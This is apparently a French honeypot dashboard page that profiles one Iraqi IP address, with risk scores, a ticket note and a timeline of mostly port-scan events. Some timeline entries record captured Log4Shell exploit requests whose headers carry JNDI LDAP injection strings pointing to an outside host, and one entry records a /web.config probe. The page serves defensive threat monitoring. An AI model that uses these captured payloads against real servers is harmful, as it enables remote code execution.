Fiche IP

Irak

185.244.155.23

Activité suspecte — risque 34/100 (Faible) — MITRE TA0043 — confiance 8 % — multi-protocole (25 protocoles · 5 min)

FAI Kurdistan Net Company for Computer and Internet Ltd. Première vue 23/10/2026 11:42 UTC Dernière vue 23/10/2026 11:49 UTC Risque Critique

Période 2026-09-27 → 2026-10-27

100

Critique 100/100

24h 7j 30j 90j

Synthèse

Score de risque max. 100/100 Critique · Maximum de risk_score (événements honeypot)

Première observation 23/10/2026 11:42 UTC

Dernière observation 23/10/2026 11:49 UTC

Événements (période) 702

Décision conseillée Surveiller Observer, investiguer ou bloquer. Le site ne pousse pas de règle pare-feu.

MITRE ATT&CK principal T1046 648 occurrences

Pourquoi listée

Type « Scan de ports » (signaux protocolaires) · confiance 0%

Confiance 8 % — Score WAF 8 · Bonus corrélation +8

Décision

Qualifier avant blocage

Le score est critique, mais la confiance reste sous 60 %. Confirmez le type et le volume avant de refuser l’IP.

100/100 Confiance 8 % 702 événements T1046

À faire

Ouvrir la chronologie et confirmer que le type dominant correspond au motif de listing.
Bloquer si le volume des 24 h reste élevé après cette vérification.
Sinon, annoter l’IP et la laisser en surveillance.

Preuves JSON SOC CEF STIX Ticket nftables

Note de ticket

IP 185.244.155.23
Décision : Qualifier avant blocage
Score max : 100/100 (Critique)
Confiance : 8 %
Période : 2026-09-27 → 2026-10-27 · 702 événements
Motif : Type « Scan de ports » (signaux protocolaires) · confiance 0%
MITRE : T1046
FAI : Kurdistan Net Company for Computer and Internet Ltd. · Irak

Comparaison ASN / FAI

ASN 206206 · 185.244.154.0/23 · RIPENCC — 8 pair(s) ASN/FAI listé(s) — activité locale élevée vs pairs · 702 événements sur la période pour cette IP.

212.237.114.33 Sonde SOCKS5 01/08/2026 08:43 UTC
185.244.155.152 Sonde RDP 18/07/2026 21:08 UTC
185.244.154.179 Sonde RDP 18/07/2026 19:14 UTC
185.106.29.187 telnet attack 10/05/2026 23:54 UTC
212.237.116.177 telnet attack 01/04/2026 14:55 UTC
185.106.29.189 telnet attack 26/03/2026 15:38 UTC
185.106.29.184 tcp 10/01/2026 19:39 UTC
212.237.124.83 Sonde MSRPC 09/10/2025 14:09 UTC

Événements (filtres)

702

Première observation

23/10/2026 11:42 UTC

Dernière observation

23/10/2026 11:49 UTC

Dernière activité (filtres)

23/10/2026 11:49 UTC

Événements 7j

702

Ports distincts (7j)

Classifications (7j)

Sévérité max (7j)

Élevée

Géolocalisation

Origine réseau déclarée

Irak unknown unknown

FAI / réseau

Opérateur et dernière activité ban

Kurdistan Net Company for Computer and Internet Ltd. 0 Port 20627 Log4j JNDI

Renseignement menaces

Score capteur — surveiller, investiguer ou bloquer.

Recommandation

Stade d'attaque

Reconnaissance

Chaîne d'attaque

Reconnaissance

Vecteur d'attaque

port scan stealth · port 20787 · (reconnaissance)

Détails protocole

Port / service

20787

Raison confiance

Confiance 0 % — 1 signal(aux) capteur

Technique MITRE

TA0043

Persona capteur

mail.sensor-1.internal

Corrélations comportementales

Multi-protocole corrélé (5 min)

Recommandation

Surveiller

Rôle capteur

Renseignement menaces

Confiance

8% Corrélation +8

Famille de menace

scanner

MITRE ATT&CK — tactiques observées

Reconnaissance

Décomposition confiance

Décomposition du score

Filtres

Les dates De/À priment sur la période. Affinez protocole, port, service et classification.

proto=Tous service=Tous port=Tous type=Tous sév.=Toutes

Période

Protocole

Port (dst)

Service

Classification

Sévérité min

Sévérité max

Réinitialiser

Profil d’activité

Heures UTC et jours de la semaine, calculés sur les séries de la page

Heures UTC

Jours de semaine

Constats

Lecture automatique du volume, des ports et des créneaux UTC

Timeline

702 événements filtrés — activité quotidienne

Ports 24 h

Top ports ciblés sur les dernières 24 heures

Top ports

Part du volume sur la période filtrée

Top classifications

Libellés capteur, part du volume

Heatmap attaques 7j

Intensité par jour et heure (UTC capteur)

Chronologie des événements

702 événement(s) — page 1/29

Horodatage	Proto	Port	Service	Classification	Sévérité	Risque
23/10/2026 11:49:15 UTC	TCP	20787	—	Scan de ports port scan stealth · port 20787 · (reconnaissance)	Élevée	Faible · 34
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0043 Reconnaissance Protocole WAF — Recommandation Surveiller Tags net_port_scan_slow Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 20787 Chemin / cible — Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 34 Confiance : Confiance 0 % — 1 signal(aux) capteur Technique MITRE TA0043 Tactiques MITRE Reconnaissance User-Agent — Règles WAF — Meta JSON brut {"bytes_in":0,"payload_entropy":0,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":null,"app_proto":null,"asn":206206,"country":"IQ","dst_port":20787,"risk_waf":8,"risk_classification":50,"risk_behavior":0,"risk_geo":0,"risk_protocol":8,"risk_novelty":0,"risk_boost":0,"risk_granularity":3.1,"risk_breakdown":{"waf":8,"classification":50,"behavior":0,"geo":0,"protocol":8,"novelty":0},"risk_score":34,"tag_count":1,"anomaly_count":0,"campaign_key":"62c6e4e2fe5309aa6128f434aad7ce5c36a5bee5","event_fingerprint":"6ed5a2cdbd8a2bfec145c9aa3bd4ac8ede241d37","classification_reason":"Type \u00ab port_scan_stealth \u00bb (signaux protocolaires) \u00b7 confiance 0%","confidence":0.08,"classification_confidence":0.08,"precision_score":0,"precision_signals":[],"kb_rule_ids":[],"confidence_breakdown":{"waf":8,"classification":50,"behavior":0,"geo":0,"protocol":8,"novelty":0,"risk_score":34,"correlation_boost":8},"named_classification_skipped":false,"risk_confidence_factor":0,"city":null,"is_datacenter":false,"is_tor_hint":false,"geo":{"country":"IQ","asn":206206,"org":"Kurdistan Net Company for Computer and Internet Ltd.","is_datacenter":false,"is_tor_hint":false},"fingerprint":{"path_pattern_hash":"df4441ff2bea14af3b1ec2e54f855ff4"},"target_context":{"dst_port":20787,"risk_score":34},"attack_stage":"recon","mitre_tactics":["TA0043"],"mitre":"TA0043","threat_family":["scanner"],"recommended_client_action":"monitor","policy_mode":"intelligence…
23/10/2026 11:47:24 UTC	TCP	20627 · HTTP	http	Log4j JNDI log4j jndi · via HTTP:20627 · (tentative d'exploit) · → /index	Élevée	Critique · 100
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1190 Accès Exécution Protocole POST /index UA ${jndi:ldap://192.168.195.130:4602/Log4ShellPayload} Émulateur HTTP WAF 80 Recommandation Bloquer (recommandé) Tags 950326:rce-0 950327:rce-0 950406:ssrf-3 950407:ssrf-3 Cible HTTP POST /index TLS SNI — Capteur paris-1
Preuve / Evidence Méthode POST Port 20627 Chemin / cible /index Service HTTP Pourquoi cette classification : Type « Log4j JNDI » (signaux protocolaires) · confiance 95% Confiance classification 100% Corrélation +14 Risque capteur Critique · 100 Confiance : Confiance 95 % — Motif catalogue confirmé · 11 tag(s) WAF Signaux ET-EXPLOIT-Log4j Http Log4J pat-fb-001 ET-EXPLOIT-Log4j-sub Technique MITRE T1190 Tactiques MITRE Accès initial Exécution Motifs de détection (base) Log4j JNDI Ligne de requête `POST /index HTTP/1.1` User-Agent ${jndi:ldap://192.168.195.130:4602/Log4ShellPayload} Règles WAF rce-0 ssrf-3 jndi-0 nosqli-3 cache-poison-xfh log4shell-jndi Payload (extrait) POST /index HTTP/1.1 Host: 62.3.50.33:20627 Connection: close Content-Length: 75 User-Agent: ${jndi:ldap://192.168.195.130:4 Requête brute (extrait) POST /index HTTP/1.1 Host: 62.3.50.33:20627 Connection: close Content-Length: 75 User-Agent: ${jndi:ldap://192.168.195.130:4602/Log4ShellPayload} X-Forwarded-For: ${jndi:ldap://192.168.195.130:4602/Log4ShellPayload} X-Api-Version: ${jndi:ldap://192.1 Meta JSON brut {"http_header_count":10,"http_query_params":0,"http_path_depth":1,"http_path_ext":null,"http_ua_hash":"9099dc59441e2d2192397bd8085a27b01c5d1618","http_host_hash":"658a63f73e29eaf9f753c1a581fbe0c2e10885a5","http_target_hash":"8e47fde48da1cadec05758f04a38777ad6d3addf","http_referer_hash":"9099dc59441e2d2192397bd8085a27b01c5d1618","http_method":"POST","http_ua_is_cli":false,"http_ua_is_browser":false,"bytes_in":623,"payload_entropy":5.341784559733147,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20627,"risk_waf":100,"risk_classification":94,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":48,"risk_granularity":4.9,"risk_breakdown":{"waf":100,"classification":94,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":100,"tag_count":21,"anomaly_count":0,"campaign_key":"ce434eab82e64ab74dfbffa7a197d410cfa409f5","event_fingerprint":"88b643074edb6f6db33d2a2544313f2bb0cc32d0","classification_reason":"Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":1,"classification_confidence":1,"precision_score":582,"precision_signals":["ET-EXPLOIT-Log4j","INT-http_log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"kb_rule_ids":["ET-EXPLOIT-Log4j","INT-http_log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"matched_patterns":["pat-fb-001"],"matched_pattern_names":["Log4j JNDI"],"pattern_ids":["pat-fb-001"],"confidenc…
23/10/2026 11:47:09 UTC	TCP	20627	—	Scan de ports port scan syn · port 20627 · (reconnaissance)	Élevée	Moyen · 42
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole WAF — Recommandation Surveiller Tags net_port_scan_slow Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 20627 Chemin / cible — Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +14 Risque capteur Moyen · 42 Confiance : Confiance 100 % — 1 signal(aux) capteur Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance User-Agent — Règles WAF — Meta JSON brut {"bytes_in":0,"payload_entropy":0,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":null,"app_proto":null,"asn":206206,"country":"IQ","dst_port":20627,"risk_waf":8,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":8,"risk_novelty":0,"risk_boost":0,"risk_granularity":2.3,"risk_breakdown":{"waf":8,"classification":64,"behavior":0,"geo":0,"protocol":8,"novelty":0},"risk_score":42,"tag_count":1,"anomaly_count":0,"campaign_key":"51880d8028f459d251674a199e8459f645c53839","event_fingerprint":"c0c52cddc69d657d743fd13a38bfc6d76422b9f4","classification_reason":"Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":8,"classification":64,"behavior":0,"geo":0,"protocol":8,"novelty":0,"risk_score":42,"correlation_boost":14},"named_classification_skipped":false,"risk_confidence_factor":100,"city":null,"is_datacenter":false,"is_tor_hint":false,"geo":{"country":"IQ","asn":206206,"org":"Kurdistan Net Company for Computer and Internet Ltd.","is_datacenter":false,"is_tor_hint":false},"fingerprint":{"path_pattern_hash":"6a708bf69e8680803ad7dadb39e2e4d9"},"target_context":{"dst_port":20627,"risk_score":42},"…
23/10/2026 11:47:00 UTC	TCP	20639	—	Scan de ports port scan syn · port 20639 · (reconnaissance)	Élevée	Moyen · 42
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole WAF — Recommandation Surveiller Tags net_port_scan_slow Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 20639 Chemin / cible — Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 42 Confiance : Confiance 100 % — 1 signal(aux) capteur Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance User-Agent — Règles WAF — Meta JSON brut {"bytes_in":0,"payload_entropy":0,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":null,"app_proto":null,"asn":206206,"country":"IQ","dst_port":20639,"risk_waf":8,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":8,"risk_novelty":0,"risk_boost":0,"risk_granularity":4.2,"risk_breakdown":{"waf":8,"classification":64,"behavior":0,"geo":0,"protocol":8,"novelty":0},"risk_score":42,"tag_count":1,"anomaly_count":0,"campaign_key":"d3cc2c6afb5994dadc9b60db464400639d9b3d0c","event_fingerprint":"4be7f83fe532a8970d66604abc7f469a0b42150a","classification_reason":"Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":8,"classification":64,"behavior":0,"geo":0,"protocol":8,"novelty":0,"risk_score":42,"correlation_boost":18},"named_classification_skipped":false,"risk_confidence_factor":100,"city":null,"is_datacenter":false,"is_tor_hint":false,"geo":{"country":"IQ","asn":206206,"org":"Kurdistan Net Company for Computer and Internet Ltd.","is_datacenter":false,"is_tor_hint":false},"fingerprint":{"path_pattern_hash":"6a708bf69e8680803ad7dadb39e2e4d9"},"target_context":{"dst_port":20639,"risk_score":42},"…
23/10/2026 11:46:59 UTC	TCP	31832	—	Scan de ports port scan syn · port 31832 · (reconnaissance)	Élevée	Moyen · 42
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole WAF — Recommandation Surveiller Tags net_port_scan_slow Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 31832 Chemin / cible — Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +14 Risque capteur Moyen · 42 Confiance : Confiance 100 % — 1 signal(aux) capteur Signaux MITRE-T1046 SIGMA-net-port-scan Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance User-Agent — Règles WAF — Meta JSON brut {"bytes_in":0,"payload_entropy":0,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":null,"app_proto":null,"asn":206206,"country":"IQ","dst_port":31832,"risk_waf":8,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":8,"risk_novelty":0,"risk_boost":0,"risk_granularity":4.5,"risk_breakdown":{"waf":8,"classification":64,"behavior":0,"geo":0,"protocol":8,"novelty":0},"risk_score":42,"tag_count":1,"anomaly_count":0,"campaign_key":"1000423fc10ba8f38a00f78b797fab6701c9d2ca","event_fingerprint":"f7279811279b291b31fa1c054cbc2dbca6876847","classification_reason":"Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":231,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":8,"classification":64,"behavior":0,"geo":0,"protocol":8,"novelty":0,"risk_score":42,"correlation_boost":14},"named_classification_skipped":false,"risk_confidence_factor":100,"city":null,"is_datacenter":false,"is_tor_hint":false,"geo":{"country":"IQ","asn":206206,"org":"Kurdistan Net Company for Computer and Internet Ltd.","is_datacenter":false,"is_tor_hint":false},"fingerprint":{"path_pattern_hash":"6a708bf69e8680803ad7dadb39e2e4d9"},"target_context":{"dst_port":31832,"risk_score":42},"attack_stage":"recon","mitre_tactics":["TA…
23/10/2026 11:46:59 UTC	TCP	20634	—	Scan de ports port scan syn · port 20634 · (reconnaissance)	Élevée	Moyen · 42
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole WAF — Recommandation Surveiller Tags net_port_scan_slow Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 20634 Chemin / cible — Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +8 Risque capteur Moyen · 42 Confiance : Confiance 100 % — 1 signal(aux) capteur Signaux MITRE-T1046 SIGMA-net-port-scan Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance User-Agent — Règles WAF — Meta JSON brut {"bytes_in":0,"payload_entropy":0,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":null,"app_proto":null,"asn":206206,"country":"IQ","dst_port":20634,"risk_waf":8,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":8,"risk_novelty":0,"risk_boost":0,"risk_granularity":3.4,"risk_breakdown":{"waf":8,"classification":64,"behavior":0,"geo":0,"protocol":8,"novelty":0},"risk_score":42,"tag_count":1,"anomaly_count":0,"campaign_key":"a561024e5b8c589ce7b3315387fdc7cb6cff5823","event_fingerprint":"82e0aeed7244172be22e752fc6ffe11614425821","classification_reason":"Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":231,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":8,"classification":64,"behavior":0,"geo":0,"protocol":8,"novelty":0,"risk_score":42,"correlation_boost":8},"named_classification_skipped":false,"risk_confidence_factor":100,"city":null,"is_datacenter":false,"is_tor_hint":false,"geo":{"country":"IQ","asn":206206,"org":"Kurdistan Net Company for Computer and Internet Ltd.","is_datacenter":false,"is_tor_hint":false},"fingerprint":{"path_pattern_hash":"6a708bf69e8680803ad7dadb39e2e4d9"},"target_context":{"dst_port":20634,"risk_score":42},"attack_stage":"recon","mitre_tactics":["TA0…
23/10/2026 11:46:39 UTC	TCP	20627	—	Scan de ports port scan syn · port 20627 · (reconnaissance)	Élevée	Moyen · 42
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole WAF — Recommandation Surveiller Tags net_port_scan_slow Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 20627 Chemin / cible — Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +14 Risque capteur Moyen · 42 Confiance : Confiance 100 % — 1 signal(aux) capteur Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance User-Agent — Règles WAF — Meta JSON brut {"bytes_in":0,"payload_entropy":0,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":null,"app_proto":null,"asn":206206,"country":"IQ","dst_port":20627,"risk_waf":8,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":8,"risk_novelty":0,"risk_boost":0,"risk_granularity":2.3,"risk_breakdown":{"waf":8,"classification":64,"behavior":0,"geo":0,"protocol":8,"novelty":0},"risk_score":42,"tag_count":1,"anomaly_count":0,"campaign_key":"51880d8028f459d251674a199e8459f645c53839","event_fingerprint":"c0c52cddc69d657d743fd13a38bfc6d76422b9f4","classification_reason":"Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":8,"classification":64,"behavior":0,"geo":0,"protocol":8,"novelty":0,"risk_score":42,"correlation_boost":14},"named_classification_skipped":false,"risk_confidence_factor":100,"city":null,"is_datacenter":false,"is_tor_hint":false,"geo":{"country":"IQ","asn":206206,"org":"Kurdistan Net Company for Computer and Internet Ltd.","is_datacenter":false,"is_tor_hint":false},"fingerprint":{"path_pattern_hash":"6a708bf69e8680803ad7dadb39e2e4d9"},"target_context":{"dst_port":20627,"risk_score":42},"…
23/10/2026 11:46:39 UTC	TCP	20787	—	Scan de ports port scan syn · port 20787 · (reconnaissance)	Élevée	Moyen · 42
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole WAF — Recommandation Surveiller Tags net_port_scan_slow Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 20787 Chemin / cible — Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +14 Risque capteur Moyen · 42 Confiance : Confiance 100 % — 1 signal(aux) capteur Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance User-Agent — Règles WAF — Meta JSON brut {"bytes_in":0,"payload_entropy":0,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":null,"app_proto":null,"asn":206206,"country":"IQ","dst_port":20787,"risk_waf":8,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":8,"risk_novelty":0,"risk_boost":0,"risk_granularity":3.1,"risk_breakdown":{"waf":8,"classification":64,"behavior":0,"geo":0,"protocol":8,"novelty":0},"risk_score":42,"tag_count":1,"anomaly_count":0,"campaign_key":"62c6e4e2fe5309aa6128f434aad7ce5c36a5bee5","event_fingerprint":"6ed5a2cdbd8a2bfec145c9aa3bd4ac8ede241d37","classification_reason":"Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":8,"classification":64,"behavior":0,"geo":0,"protocol":8,"novelty":0,"risk_score":42,"correlation_boost":14},"named_classification_skipped":false,"risk_confidence_factor":100,"city":null,"is_datacenter":false,"is_tor_hint":false,"geo":{"country":"IQ","asn":206206,"org":"Kurdistan Net Company for Computer and Internet Ltd.","is_datacenter":false,"is_tor_hint":false},"fingerprint":{"path_pattern_hash":"6a708bf69e8680803ad7dadb39e2e4d9"},"target_context":{"dst_port":20787,"risk_score":42},"…
23/10/2026 11:45:51 UTC	TCP	20787 · HTTP	http	Log4j JNDI log4j jndi · via HTTP:20787 · (tentative d'exploit) · → /api/	Élevée	Élevé · 78
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1190 Accès Exécution Protocole GET /api/ UA ${jndi:ldap://192.168.195.130:4606/Log4ShellPayload} Émulateur HTTP WAF 52 Recommandation Investiguer Tags 950326:rce-0 950406:ssrf-3 950418:jndi-0 950468:nosqli-3 Cible HTTP GET /api/ TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20787 Chemin / cible /api/ Service HTTP Pourquoi cette classification : Type « Log4j JNDI » (signaux protocolaires) · confiance 95% Confiance classification 100% Corrélation +18 Risque capteur Élevé · 78 Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF Signaux ET-EXPLOIT-Log4j pat-fb-001 ET-EXPLOIT-Log4j-sub Technique MITRE T1190 Tactiques MITRE Accès initial Exécution Motifs de détection (base) Log4j JNDI Ligne de requête `GET /api/ HTTP/1.1` User-Agent ${jndi:ldap://192.168.195.130:4606/Log4ShellPayload} Règles WAF rce-0 ssrf-3 jndi-0 nosqli-3 cache-poison-xfh k8s-api log4shell-jndi Payload (extrait) GET /api/ HTTP/1.1 Host: 62.3.50.33:20787 Connection: close Content-Length: 0 User-Agent: ${jndi:ldap://192.168.195.130:4606 Requête brute (extrait) GET /api/ HTTP/1.1 Host: 62.3.50.33:20787 Connection: close Content-Length: 0 User-Agent: ${jndi:ldap://192.168.195.130:4606/Log4ShellPayload} X-Forwarded-For: ${jndi:ldap://192.168.195.130:4606/Log4ShellPayload} X-Api-Version: ${jndi:ldap://192.168. Meta JSON brut {"http_header_count":9,"http_query_params":0,"http_path_depth":1,"http_path_ext":null,"http_ua_hash":"76e5faca84dfcd8bc84c3b24d9c3cf47a4c10bb9","http_host_hash":"8e9fd798909c19ea0b8229bcf516dc793dc8f797","http_target_hash":"357322ae39f93f572e23cd9edd3307e2ac5a321f","http_referer_hash":"76e5faca84dfcd8bc84c3b24d9c3cf47a4c10bb9","http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":false,"bytes_in":496,"payload_entropy":5.2814591598553315,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20787,"risk_waf":100,"risk_classification":94,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":12,"risk_granularity":5.7,"risk_breakdown":{"waf":100,"classification":94,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":78,"tag_count":14,"anomaly_count":0,"campaign_key":"8ffd76f864700827e73877947b70f91689cbb105","event_fingerprint":"9f0438a17aab33ad99affa6f5bafc943a8a409e4","classification_reason":"Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":1,"classification_confidence":1,"precision_score":342,"precision_signals":["ET-EXPLOIT-Log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"kb_rule_ids":["ET-EXPLOIT-Log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"matched_patterns":["pat-fb-001"],"matched_pattern_names":["Log4j JNDI"],"pattern_ids":["pat-fb-001"],"confidence_breakdown":{"waf":100,"classificat…
23/10/2026 11:45:49 UTC	TCP	20640 · HTTP	http	Scan de ports port scan syn · via HTTP:20640 · (reconnaissance) · → /web.config	Élevée	Moyen · 47
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /web.config UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_sensitive_path net_port_scan_fast Cible HTTP GET /web.config TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20640 Chemin / cible /web.config Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 47 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /web.config HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) App Requête brute (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"config","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"fb61e36fe9095535f127e3353d957f1c1310e8e9","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":179,"payload_entropy":5.199011692965391,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet 